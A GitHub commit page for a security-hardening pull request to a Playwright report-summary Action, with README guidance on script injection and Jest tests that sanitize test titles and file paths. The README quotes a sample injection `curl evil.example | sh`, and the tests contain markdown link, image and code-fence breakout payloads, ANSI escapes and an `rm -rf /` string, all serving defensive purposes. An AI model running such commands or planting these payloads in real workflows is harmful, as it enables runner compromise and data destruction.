Skip to content

Commit ece04c8

Browse files
authored
Merge pull request #362 from daun/chore/hardening
Security hardening
2 parents c61dba3 + 4762a77 commit ece04c8

9 files changed

Lines changed: 437 additions & 17 deletions

File tree

README.md

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -147,6 +147,86 @@ The raw data of the test report, as a JSON-encoded string. This is useful for cr
147147
You can get an idea of the data structure by checking out the
148148
[ReportSummary interface](https://github.com/daun/playwright-report-summary/blob/main/src/report.ts#L13).
149149

150+
## Security
151+
152+
The action sanitizes its rendered comment so that untrusted content cannot inject active markdown. However, if you are
153+
passing the action's outputs to another action or triggering the action in a non-PR context, make sure to read the next
154+
section to harden your workflows against script injection.
155+
156+
### Using outputs safely
157+
158+
The `summary` and `report-data` outputs contain raw test titles and file paths from the Playwright JSON report for you
159+
to post-process. When tests are added from external pull requests, **those strings are attacker-controlled**. Since
160+
GitHub Actions output values are **interpolated literally before shell parsing**, passing them into a `run:` step can
161+
lead to script injection on the runner.
162+
163+
#### ![check](https://icongr.am/octicons/shield-check.svg?size=12&color=abb4bf) Safe patterns
164+
165+
Pass outputs as inputs to another action. Action inputs are not shell-interpreted.
166+
167+
```yaml
168+
- uses: daun/playwright-report-summary@v4
169+
id: summary
170+
with:
171+
report-file: results.json
172+
create-comment: false
173+
174+
- uses: marocchino/sticky-pull-request-comment@v3
175+
with:
176+
# safe: action input, not shell-interpolated
177+
message: ${{ steps.summary.outputs.summary }}
178+
```
179+
180+
If you need an output inside a `run:` step, pass it through an **environment variable** and quote the shell expansion.
181+
The value never touches the shell parser.
182+
183+
```yaml
184+
- run: |
185+
echo "$SUMMARY" >> notes.md
186+
env:
187+
# safe: quoted env var, not shell-interpolated
188+
SUMMARY: ${{ steps.summary.outputs.summary }}
189+
```
190+
191+
#### ![check](https://icongr.am/octicons/shield.svg?size=12&color=abb4bf) Unsafe patterns
192+
193+
Do **not** interpolate outputs directly into a `run:` script. A test named `` `; curl evil.example | sh; # `` would
194+
execute on your runner.
195+
196+
```yaml
197+
# UNSAFE: output is interpolated and open to injection
198+
- run: echo "${{ steps.summary.outputs.summary }}"
199+
- run: curl -d "${{ steps.summary.outputs.report-data }}" https://example.com
200+
```
201+
202+
See GitHub's guidance on
203+
[mitigating script injection attacks](https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks)
204+
for more.
205+
206+
### Triggering from `issue_comment`
207+
208+
The action supports being run from an `issue_comment` event so you can e.g. re-post the summary when someone comments
209+
`/retest` on a PR. **In a public repository any GitHub user can comment on a PR**, so you need to make sure the job is
210+
gated on the commenter's association with the repository to avoid potential abuse.
211+
212+
```yaml
213+
# Only run for comments by users with write+ access
214+
jobs:
215+
summary:
216+
if: github.event.issue.pull_request && contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association)
217+
218+
# Or restrict to an explicit actor allowlist
219+
jobs:
220+
summary:
221+
if: github.event.issue.pull_request && github.actor == 'your-bot-user'
222+
```
223+
224+
If your `issue_comment` job additionally **checks out the PR head** (e.g. to re-run tests), the same threat model as
225+
`pull_request_target` applies: treat the checked-out code as untrusted and never run it with repository secrets in
226+
scope. See the official guidance on
227+
[keeping your GitHub actions secure](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)
228+
for details.
229+
150230
## License
151231

152232
[MIT](./LICENSE)

__tests__/formatting.test.ts

Lines changed: 73 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,13 @@
33
*/
44

55
import { expect } from '@jest/globals'
6-
import { formatDuration, upperCaseFirst, renderMarkdownTable } from '../src/formatting'
6+
import {
7+
escapeForMarkdown,
8+
formatDuration,
9+
renderCodeBlock,
10+
renderMarkdownTable,
11+
upperCaseFirst
12+
} from '../src/formatting'
713

814
describe('formatDuration', () => {
915
it('returns a string', async () => {
@@ -40,6 +46,51 @@ describe('formatDuration', () => {
4046
})
4147
})
4248

49+
describe('escapeForMarkdown', () => {
50+
it('escapes HTML special characters', () => {
51+
expect(escapeForMarkdown('<script>alert(1)</script>')).toBe('&lt;script&gt;alert\\(1\\)&lt;/script&gt;')
52+
expect(escapeForMarkdown('a & b')).toBe('a &amp; b')
53+
})
54+
55+
it('strips newlines to spaces', () => {
56+
expect(escapeForMarkdown('line1\nline2')).toBe('line1 line2')
57+
})
58+
59+
it('neutralizes markdown link injection', () => {
60+
const out = escapeForMarkdown('[click here](https://evil.example)')
61+
expect(out).not.toMatch(/(^|[^\\])[[\]()]/)
62+
expect(out).toContain('https://evil.example')
63+
})
64+
65+
it('neutralizes markdown image injection', () => {
66+
const out = escapeForMarkdown('![tracker](https://evil.example/log)')
67+
expect(out).not.toMatch(/(^|[^\\])!\[/)
68+
})
69+
70+
it('neutralizes inline code spans', () => {
71+
const out = escapeForMarkdown('text with `backticks` inside')
72+
expect(out).not.toMatch(/(^|[^\\])`/)
73+
})
74+
75+
it('neutralizes emphasis markers', () => {
76+
expect(escapeForMarkdown('*bold*')).toBe('\\*bold\\*')
77+
expect(escapeForMarkdown('__under__')).toBe('\\_\\_under\\_\\_')
78+
})
79+
80+
it('neutralizes autolink-style references and list/heading markers', () => {
81+
expect(escapeForMarkdown('#1234')).toBe('\\#1234')
82+
expect(escapeForMarkdown('- list item')).toBe('\\- list item')
83+
})
84+
85+
it('escapes backslashes so attacker cannot undo escaping downstream', () => {
86+
expect(escapeForMarkdown('\\[x](y)')).toBe('\\\\\\[x\\]\\(y\\)')
87+
})
88+
89+
it('leaves benign text unchanged', () => {
90+
expect(escapeForMarkdown('should render a login form')).toBe('should render a login form')
91+
})
92+
})
93+
4394
describe('upperCaseFirst', () => {
4495
it('returns a string', async () => {
4596
expect(typeof upperCaseFirst('lorem') === 'string').toBe(true)
@@ -49,6 +100,27 @@ describe('upperCaseFirst', () => {
49100
})
50101
})
51102

103+
describe('renderCodeBlock', () => {
104+
it('wraps code in a triple-backtick fence by default', () => {
105+
expect(renderCodeBlock('hello')).toBe('```\nhello\n```')
106+
})
107+
108+
it('uses an adaptive fence longer than any backtick run in the content', () => {
109+
const out = renderCodeBlock('foo ``` bar')
110+
expect(out.startsWith('````\n')).toBe(true)
111+
expect(out.endsWith('\n````')).toBe(true)
112+
})
113+
114+
it('grows the fence to defeat arbitrary backtick runs', () => {
115+
const out = renderCodeBlock('`````` evil ```')
116+
expect(out.startsWith('```````\n')).toBe(true)
117+
})
118+
119+
it('passes language hint through', () => {
120+
expect(renderCodeBlock('echo 1', 'bash')).toBe('```bash\necho 1\n```')
121+
})
122+
})
123+
52124
describe('renderMarkdownTable', () => {
53125
it('returns a string', async () => {
54126
expect(

__tests__/report-security.test.ts

Lines changed: 174 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
import { ReportSummary, renderReportSummary } from '../src/report'
1+
import { MAX_TITLE_LENGTH } from '../src/formatting'
2+
import { MAX_TESTS_PER_SECTION, ReportSummary, renderReportSummary } from '../src/report'
23

34
describe('renderReportSummary security', () => {
45
it('sanitizes test titles containing HTML and markdown injection', () => {
@@ -43,4 +44,176 @@ describe('renderReportSummary security', () => {
4344
expect(output).toContain('harmless test')
4445
expect(output).toContain('&lt;')
4546
})
47+
48+
function reportWithFailedTitle(title: string, file = 'test.spec.ts'): ReportSummary {
49+
const failedTest = {
50+
passed: false,
51+
failed: true,
52+
flaky: false,
53+
skipped: false,
54+
file,
55+
line: 1,
56+
column: 1,
57+
path: [file, title],
58+
title,
59+
results: [{ duration: 100, started: new Date() }]
60+
}
61+
return {
62+
version: '1.0.0',
63+
started: new Date(),
64+
duration: 1000,
65+
workers: 1,
66+
shards: 0,
67+
projects: ['chromium'],
68+
files: ['test.spec.ts'],
69+
suites: [
70+
{
71+
file: 'test.spec.ts',
72+
line: 0,
73+
column: 0,
74+
path: [],
75+
title: 'test.spec.ts',
76+
level: 0,
77+
root: true,
78+
specs: []
79+
}
80+
],
81+
specs: [],
82+
tests: [failedTest],
83+
failed: [failedTest],
84+
passed: [],
85+
flaky: [],
86+
skipped: [],
87+
results: []
88+
}
89+
}
90+
91+
it('neutralizes markdown link injection in test titles', () => {
92+
const report = reportWithFailedTitle('[Click here for free pizza](https://attacker.example)')
93+
const output = renderReportSummary(report, { title: 'Test Report' })
94+
expect(output).not.toMatch(/\[Click here[^\]]*\]\(https:\/\/attacker\.example\)/)
95+
expect(output).toContain('attacker.example')
96+
})
97+
98+
it('neutralizes markdown image injection in test titles', () => {
99+
const report = reportWithFailedTitle('![pixel](https://attacker.example/log)')
100+
const output = renderReportSummary(report, { title: 'Test Report' })
101+
expect(output).not.toMatch(/(^|[^\\])!\[pixel\]\(https:\/\/attacker\.example/)
102+
})
103+
104+
it('neutralizes inline code-span injection in test titles', () => {
105+
const report = reportWithFailedTitle('uses `rm -rf /` in setup')
106+
const output = renderReportSummary(report, { title: 'Test Report' })
107+
const titleLine = output.split('\n').find((l) => l.includes('rm -rf')) ?? ''
108+
expect(titleLine).not.toMatch(/(^|[^\\])`/)
109+
})
110+
111+
it('neutralizes emphasis and heading metacharacters in test titles', () => {
112+
const report = reportWithFailedTitle('*bold* _under_ #heading')
113+
const output = renderReportSummary(report, { title: 'Test Report' })
114+
const titleLine = output.split('\n').find((l) => l.includes('bold')) ?? ''
115+
expect(titleLine).toContain('\\*bold\\*')
116+
expect(titleLine).toContain('\\_under\\_')
117+
expect(titleLine).toContain('\\#heading')
118+
})
119+
120+
it('prevents code-fence breakout via attacker-controlled test.file', () => {
121+
const maliciousFile = 'tests/a.spec.ts\n```\n## Pwned\n[click](https://attacker.example)\n```\nb.spec.ts'
122+
const report = reportWithFailedTitle('a test', maliciousFile)
123+
const output = renderReportSummary(report, {
124+
title: 'Test Report',
125+
testCommand: 'npx playwright test'
126+
})
127+
128+
// Fences must pair up, and the payload must not escape any code block.
129+
const fenceMatches = output.match(/^`{3,}/gm) ?? []
130+
expect(fenceMatches.length % 2).toBe(0)
131+
const outsideCode = output.replace(/^(`{3,})[^\n]*\n[\s\S]*?\n\1$/gm, '')
132+
expect(outsideCode).not.toMatch(/^## Pwned/m)
133+
expect(outsideCode).not.toMatch(/\[click\]\(https:\/\/attacker\.example\)/)
134+
})
135+
136+
it('truncates pathologically long test titles', () => {
137+
const longTitle = 'A'.repeat(MAX_TITLE_LENGTH + 500)
138+
const report = reportWithFailedTitle(longTitle)
139+
const output = renderReportSummary(report, { title: 'Test Report' })
140+
141+
expect(output).not.toContain(longTitle)
142+
expect(output).toContain(`${'A'.repeat(MAX_TITLE_LENGTH)}\u2026`)
143+
})
144+
145+
it('caps the number of tests rendered per section', () => {
146+
const overflow = 5
147+
const total = MAX_TESTS_PER_SECTION + overflow
148+
const tests = Array.from({ length: total }, (_, i) => ({
149+
passed: false,
150+
failed: true,
151+
flaky: false,
152+
skipped: false,
153+
file: `test-${i}.spec.ts`,
154+
line: i + 1,
155+
column: 1,
156+
path: [`test-${i}.spec.ts`, `failing test ${i}`],
157+
title: `failing test ${i}`,
158+
results: [{ duration: 1, started: new Date() }]
159+
}))
160+
const report: ReportSummary = {
161+
version: '1.0.0',
162+
started: new Date(),
163+
duration: 1000,
164+
workers: 1,
165+
shards: 0,
166+
projects: ['chromium'],
167+
files: [],
168+
suites: [],
169+
specs: [],
170+
tests,
171+
failed: tests,
172+
passed: [],
173+
flaky: [],
174+
skipped: [],
175+
results: []
176+
}
177+
178+
const output = renderReportSummary(report, { title: 'Test Report' })
179+
180+
expect(output).toContain(`failing test ${MAX_TESTS_PER_SECTION - 1}`)
181+
expect(output).not.toContain(`failing test ${MAX_TESTS_PER_SECTION}`)
182+
expect(output).toContain(`\u2026 and ${overflow} more`)
183+
})
184+
185+
it('strips ANSI escape sequences from test titles', () => {
186+
const report = reportWithFailedTitle('\x1b[31mFAILED\x1b[0m: login broken')
187+
const output = renderReportSummary(report, { title: 'Test Report' })
188+
189+
expect(output).not.toContain('\x1b')
190+
expect(output).toContain('FAILED')
191+
expect(output).toContain('login broken')
192+
})
193+
194+
it('strips ANSI escape sequences from test file paths', () => {
195+
const report = reportWithFailedTitle('a test', 'tests/\x1b[31mevil\x1b[0m.spec.ts')
196+
const output = renderReportSummary(report, {
197+
title: 'Test Report',
198+
testCommand: 'npx playwright test'
199+
})
200+
201+
expect(output).not.toContain('\x1b')
202+
expect(output).toContain('tests/evil.spec.ts:1')
203+
})
204+
205+
it('preserves backticks in legitimate file paths via adaptive fencing', () => {
206+
const report = reportWithFailedTitle('a test', 'tests/weird```name.spec.ts')
207+
const output = renderReportSummary(report, {
208+
title: 'Test Report',
209+
testCommand: 'npx playwright test'
210+
})
211+
212+
expect(output).toContain('tests/weird```name.spec.ts:1')
213+
const fenceMatches = output.match(/^`{3,}/gm) ?? []
214+
expect(fenceMatches.length % 2).toBe(0)
215+
for (const f of fenceMatches) {
216+
expect(f.length).toBeGreaterThanOrEqual(4)
217+
}
218+
})
46219
})

0 commit comments

Comments
 (0)